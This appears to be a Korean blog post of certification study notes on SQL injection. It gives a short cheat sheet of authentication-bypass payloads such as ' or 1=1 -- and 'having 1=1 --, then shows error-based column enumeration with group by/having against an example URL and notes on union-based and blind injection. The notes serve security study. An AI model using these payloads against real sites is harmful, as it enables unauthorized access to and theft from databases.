한땀한땀 정성들인 코딩

sql injection 본문

자격증/정보보안기사

sql injection

romance penguin 2017. 2. 13. 23:38
반응형

sql주석

단일주석 -- (오라클)

단일주석 # (mysql)

전체주석 /**/


Blind SQL Injection 

Union SQL Injection

Stored Procedure SQL Injection


테이블명 알아내기

' or''='   

' or 1=1 --   

' or 'a'='a -- 

' or'='or' 

" or 1=1 --  

" or "a"="a 

') or ('a'='a   

") or ("a"="a  

or 1=1 --  

or 'a='a  

)or (1=1



'having 1=1 --

select * from users where username = ' +username+ ' and password = ' +password+'

-->>>

select * from users where username = '' having 1=1-- ' and password = ''



Error Based 방식

1. 공격 포인트 

-id창이나

-검색

-도메인?here


www.example.com/?idx=1

www.example.com/?idx=1'having 1=1-- //1번째 컬럼 idx

www.example.com/?idx=1' group by idx having 1=1-- //2번째 컬럼 bld

www.example.com/?idx=1' group by idx, bld having 1=1-- //3번째 컬럼

오류가 안뜨면 모든 컬럼명을 알아냈다.


sum(컬럼명) from 테이블

- datatype 알아내기


Union Based 방식

union : 여러 select문을 합쳐준다, 열의 개수과 같아야함, 같은 열은 datatype이 같아야함.

1. 공격포인트

2. union select 1,2,3,4,5 -- //컬럼갯수를 알수있음


Blind SQL injection

1. 쿼리문으로 참과 거짓일때의 서버의 반응을 알수 있어야함

2. 원하는 결과를 얻을 DB명을 알 수 있어야 함

3. substr, ascii, limit


반응형

'자격증 > 정보보안기사' 카테고리의 다른 글

2/28  (0) 2017.02.26
ssl  (0) 2017.02.14
network port  (0) 2017.02.13
CSRF 공겨기법  (0) 2017.02.13
web어플 공격기법  (0) 2017.02.12